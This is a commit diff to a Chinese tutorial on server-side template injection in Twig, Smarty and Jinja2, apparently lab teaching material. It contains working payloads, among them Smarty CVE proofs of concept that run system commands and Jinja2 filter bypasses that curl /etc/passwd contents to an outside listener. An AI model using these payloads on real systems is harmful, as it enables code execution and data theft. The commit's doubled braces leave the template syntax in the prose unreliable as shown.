09-01-周一_17-20-19
This commit is contained in:
@@ -162,7 +162,7 @@ echo $twig->render('tags.twig',[
|
|||||||
|
|
||||||

|

|
||||||
|
|
||||||
有两种形式的分隔符:{% ... %} 和 {{ ... }}。前者用于执行语句,例如 for 循环,后者用于将表达式的结果输出到模板中。
|
有两种形式的分隔符:{{% ... %} 和 {{{{ ... }}。前者用于执行语句,例如 for 循环,后者用于将表达式的结果输出到模板中。
|
||||||
|
|
||||||
需要注意的是twig会生产缓存文件,所以导致有时候模版的变化并不能直接看到效果,可以每次都让php先清理缓存,再渲染模版
|
需要注意的是twig会生产缓存文件,所以导致有时候模版的变化并不能直接看到效果,可以每次都让php先清理缓存,再渲染模版
|
||||||
|
|
||||||
@@ -268,7 +268,7 @@ echo $twig->render('tags.twig',[
|
|||||||
|
|
||||||
#### 4.3.5 控制结构
|
#### 4.3.5 控制结构
|
||||||
|
|
||||||
控制结构是指控制程序流程的所有控制语句 if、elseif、else、for 等,以及程序块等等。控制结构出现在 {% ... %} 块中。
|
控制结构是指控制程序流程的所有控制语句 if、elseif、else、for 等,以及程序块等等。控制结构出现在 {{% ... %} 块中。
|
||||||
|
|
||||||
例如使用 for 标签进行循环:
|
例如使用 for 标签进行循环:
|
||||||
|
|
||||||
@@ -299,7 +299,7 @@ echo $twig->render('index.html', ['name' => '<h1>whoami</h1>','users'=>$users]);
|
|||||||
|
|
||||||
#### 4.3.6 注释
|
#### 4.3.6 注释
|
||||||
|
|
||||||
要在模板中注释某一行,可以使用注释语法 {# ...#}:
|
要在模板中注释某一行,可以使用注释语法 {{# ...#}:
|
||||||
|
|
||||||
```plain
|
```plain
|
||||||
{# note: disabled template because we no longer use this
|
{# note: disabled template because we no longer use this
|
||||||
@@ -395,7 +395,7 @@ echo $template->render();
|
|||||||
|
|
||||||

|

|
||||||
|
|
||||||
这里的代码中,`createTemplate`时注入了`$_GET['name']`,此时就会引发模板注入。而如下代码则不会,因为模板引擎解析的是字符串常量中的`{{name}}`,而不是动态拼接的`$_GET["name"]`:
|
这里的代码中,`createTemplate`时注入了`$_GET['name']`,此时就会引发模板注入。而如下代码则不会,因为模板引擎解析的是字符串常量中的`{{{{name}}`,而不是动态拼接的`$_GET["name"]`:
|
||||||
|
|
||||||
```php
|
```php
|
||||||
<?php
|
<?php
|
||||||
@@ -600,7 +600,7 @@ shell_exec ( string $cmd ) : string
|
|||||||
{{["id"]|map("exec")}} // 无回显
|
{{["id"]|map("exec")}} // 无回显
|
||||||
```
|
```
|
||||||
|
|
||||||
其中`{{["id"]|map("system")}}`会被成下面这样:
|
其中`{{{{["id"]|map("system")}}`会被成下面这样:
|
||||||
|
|
||||||
```php
|
```php
|
||||||
twig_array_map([0 => "id"], "system")
|
twig_array_map([0 => "id"], "system")
|
||||||
@@ -792,7 +792,7 @@ docker run -d -p 8080:80 registry.cn-hangzhou.aliyuncs.com/eagleslab/ctf:ssti_tw
|
|||||||
|
|
||||||
#### 4.5.1 基础使用方法
|
#### 4.5.1 基础使用方法
|
||||||
|
|
||||||
在开始介绍 Smarty 之前先了解一下模板引擎,模板引擎是为了让前端界面(html)与程序代码(php)分离而产生的一种解决方案,简单来说就是 html 文件里再也不用写 php 代码了。Smarty 的原理是变量替换原则,我们只需要在 html 文件里写好 Smarty 的标签即可,例如 {name},然后调用 Smarty 的方法传递变量参数即可
|
在开始介绍 Smarty 之前先了解一下模板引擎,模板引擎是为了让前端界面(html)与程序代码(php)分离而产生的一种解决方案,简单来说就是 html 文件里再也不用写 php 代码了。Smarty 的原理是变量替换原则,我们只需要在 html 文件里写好 Smarty 的标签即可,例如 {{name},然后调用 Smarty 的方法传递变量参数即可
|
||||||
|
|
||||||
安装方法
|
安装方法
|
||||||
|
|
||||||
@@ -839,8 +839,8 @@ $smarty->display($data);
|
|||||||
|
|
||||||
任意文件读取
|
任意文件读取
|
||||||
|
|
||||||
- POC:`string:{include file='C:/Windows/win.ini'}`
|
- POC:`string:{{include file='C:/Windows/win.ini'}`
|
||||||
- 漏洞原因:{include} 标签所导致,被该标签引入的文件只会单纯的输出文件内容,就算引入 php 文件也是如此
|
- 漏洞原因:{{include} 标签所导致,被该标签引入的文件只会单纯的输出文件内容,就算引入 php 文件也是如此
|
||||||
- 版本限制:无
|
- 版本限制:无
|
||||||
|
|
||||||
引入普通文件:
|
引入普通文件:
|
||||||
@@ -880,8 +880,8 @@ string:{if system('whoami')}{/if}
|
|||||||
|
|
||||||
#### 4.5.3 CVE-2021-26120
|
#### 4.5.3 CVE-2021-26120
|
||||||
|
|
||||||
- POC:`string:{function name='x(){};system(whoami);function '}{/function}`
|
- POC:`string:{{function name='x(){{};system(whoami);function '}{{/function}`
|
||||||
- 漏洞原因:[{function}](https://www.smarty.net/docs/en/language.function.function.tpl)标签的 name 属性可以通过精心构造注入恶意代码
|
- 漏洞原因:[{{function}](https://www.smarty.net/docs/en/language.function.function.tpl)标签的 name 属性可以通过精心构造注入恶意代码
|
||||||
- 版本限制:在 3.1.39 版本修复,所以小于 3.1.39 能用
|
- 版本限制:在 3.1.39 版本修复,所以小于 3.1.39 能用
|
||||||
|
|
||||||
切换到较早的smarty版本
|
切换到较早的smarty版本
|
||||||
@@ -940,7 +940,7 @@ string:{$smarty.template_object->smarty->setCompileDir('./x')->display('string:{
|
|||||||
string:{$smarty.template_object->smarty->setCacheDir('./x')->display('string:{system(whoami)}')}
|
string:{$smarty.template_object->smarty->setCacheDir('./x')->display('string:{system(whoami)}')}
|
||||||
```
|
```
|
||||||
|
|
||||||
- 漏洞原因:可以通过`{$smarty.template_object}`访问到 smarty 对象所导致
|
- 漏洞原因:可以通过`{{$smarty.template_object}`访问到 smarty 对象所导致
|
||||||
- 版本限制:这个漏洞还没有被修复,我试过最新版本 4.1.0 跟 3.1.44 都能注入恶意代码
|
- 版本限制:这个漏洞还没有被修复,我试过最新版本 4.1.0 跟 3.1.44 都能注入恶意代码
|
||||||
|
|
||||||
测试效果
|
测试效果
|
||||||
@@ -949,7 +949,7 @@ string:{$smarty.template_object->smarty->setCacheDir('./x')->display('string:{sy
|
|||||||
|
|
||||||
#### 4.5.5 CVE-2021-29454
|
#### 4.5.5 CVE-2021-29454
|
||||||
|
|
||||||
- POC:`eval:{math equation='("\163\171\163\164\145\155")("\167\150\157\141\155\151")'}`
|
- POC:`eval:{{math equation='("\163\171\163\164\145\155")("\167\150\157\141\155\151")'}`
|
||||||
- 漏洞原因:`libs/plugins/function.math.php`中的`smarty_function_math`执行了`eval()`,而`eval()`的数据可以通过 8 进制数字绕过正则表达式
|
- 漏洞原因:`libs/plugins/function.math.php`中的`smarty_function_math`执行了`eval()`,而`eval()`的数据可以通过 8 进制数字绕过正则表达式
|
||||||
|
|
||||||
版本限制:在 3.1.42 和 4.0.2 中修复,小于这两个版本可用
|
版本限制:在 3.1.42 和 4.0.2 中修复,小于这两个版本可用
|
||||||
@@ -1033,15 +1033,15 @@ if __name__ == '__main__':
|
|||||||
|
|
||||||
这里使用的置换型模板,将字符串进行简单替换,其中参数`name`的值完全可控。发现模板引擎成功解析。说明模板引擎并不是将我们输入的值当作字符串,而是当作代码执行了。
|
这里使用的置换型模板,将字符串进行简单替换,其中参数`name`的值完全可控。发现模板引擎成功解析。说明模板引擎并不是将我们输入的值当作字符串,而是当作代码执行了。
|
||||||
|
|
||||||
{{}}在Jinja2中作为变量包裹标识符,Jinja2在渲染的时候会把{{}}包裹的内容当做变量解析替换。比如{{1+1}}会被解析成2。如此一来就可以实现如同sql注入一样的注入漏洞。
|
{{{{}}在Jinja2中作为变量包裹标识符,Jinja2在渲染的时候会把{{{{}}包裹的内容当做变量解析替换。比如{{{{1+1}}会被解析成2。如此一来就可以实现如同sql注入一样的注入漏洞。
|
||||||
|
|
||||||
以flask的jinja2引擎为例,官方的模板语法如下:
|
以flask的jinja2引擎为例,官方的模板语法如下:
|
||||||
|
|
||||||
- {% ... %} 用于声明,比如在使用for控制语句或者if语句时
|
- {{% ... %} 用于声明,比如在使用for控制语句或者if语句时
|
||||||
- {{......}} 用于打印到模板输出的表达式,比如之前传到到的变量(更准确的叫模板上下文),例如上文 '3*5' 这个表达式
|
- {{{{......}} 用于打印到模板输出的表达式,比如之前传到到的变量(更准确的叫模板上下文),例如上文 '3*5' 这个表达式
|
||||||
- {# ... #} 用于模板注释
|
- {{# ... #} 用于模板注释
|
||||||
- \# ... ## 用于行语句,就是对语法的简化
|
- \# ... ## 用于行语句,就是对语法的简化
|
||||||
- \#...#可以有和{%%}相同的效果
|
- \#...#可以有和{{%%}相同的效果
|
||||||
|
|
||||||
由于参数完全可控,则攻击者就可以通过精心构造恶意的 Payload 来让服务器执行任意代码,造成严重危害。下面通过 SSTI 命令执行成功执行 whoami 命令:
|
由于参数完全可控,则攻击者就可以通过精心构造恶意的 Payload 来让服务器执行任意代码,造成严重危害。下面通过 SSTI 命令执行成功执行 whoami 命令:
|
||||||
|
|
||||||
@@ -1654,15 +1654,15 @@ pop()方法可以返回指定序列属性中的某个索引处的元素或指定
|
|||||||
|
|
||||||
这样的话,那么 __class__、__bases__ 等关键字就成了字符串,就都可以用前面所讲的关键字绕过的姿势进行绕过了。
|
这样的话,那么 __class__、__bases__ 等关键字就成了字符串,就都可以用前面所讲的关键字绕过的姿势进行绕过了。
|
||||||
|
|
||||||
##### 5.2.7.5 过滤了大括号 {{
|
##### 5.2.7.5 过滤了大括号 {{{{
|
||||||
|
|
||||||
我们可以用Jinja2的 {%...%} 语句装载一个循环控制语句来绕过:
|
我们可以用Jinja2的 {{%...%} 语句装载一个循环控制语句来绕过:
|
||||||
|
|
||||||
```plain
|
```plain
|
||||||
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}
|
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}
|
||||||
```
|
```
|
||||||
|
|
||||||
也可以使用 {% if ... %}1{% endif %} 配合 os.popen 和 curl 将执行结果外带(不外带的话无回显)出来:
|
也可以使用 {{% if ... %}1{{% endif %} 配合 os.popen 和 curl 将执行结果外带(不外带的话无回显)出来:
|
||||||
|
|
||||||
```plain
|
```plain
|
||||||
{% if ''.__class__.__base__.__subclasses__()[191].__init__.__globals__.linecache.os.popen('curl http://10.3.66.102:2333/?key=`cat /etc/passwd`')%}1{% endif %}
|
{% if ''.__class__.__base__.__subclasses__()[191].__init__.__globals__.linecache.os.popen('curl http://10.3.66.102:2333/?key=`cat /etc/passwd`')%}1{% endif %}
|
||||||
@@ -1670,7 +1670,7 @@ pop()方法可以返回指定序列属性中的某个索引处的元素或指定
|
|||||||
# 开启 nc 监听 nc -lvp 2333
|
# 开启 nc 监听 nc -lvp 2333
|
||||||
```
|
```
|
||||||
|
|
||||||
也可以用 {%print(......)%} 的形式来代替 {{ ,如下:
|
也可以用 {{%print(......)%} 的形式来代替 {{{{ ,如下:
|
||||||
|
|
||||||
```plain
|
```plain
|
||||||
{%print(''.__class__.__base__.__subclasses__()[400].__init__.__globals__['os'].popen('curl http://10.3.66.102:2333/?key=`whoami`').read())%}
|
{%print(''.__class__.__base__.__subclasses__()[400].__init__.__globals__['os'].popen('curl http://10.3.66.102:2333/?key=`whoami`').read())%}
|
||||||
@@ -1744,7 +1744,7 @@ __ . [ "
|
|||||||
' request {{ _ %20(空格) [ ] . __globals__ __getitem__
|
' request {{ _ %20(空格) [ ] . __globals__ __getitem__
|
||||||
```
|
```
|
||||||
|
|
||||||
我们用 {%...%}绕过对 {{ 的过滤,并用unicode绕过对关键字的过滤。unicode绕过是一种网上没提出的方法。
|
我们用 {{%...%}绕过对 {{{{ 的过滤,并用unicode绕过对关键字的过滤。unicode绕过是一种网上没提出的方法。
|
||||||
|
|
||||||
假设我们要构造的payload原型为:
|
假设我们要构造的payload原型为:
|
||||||
|
|
||||||
|
Reference in New Issue
Block a user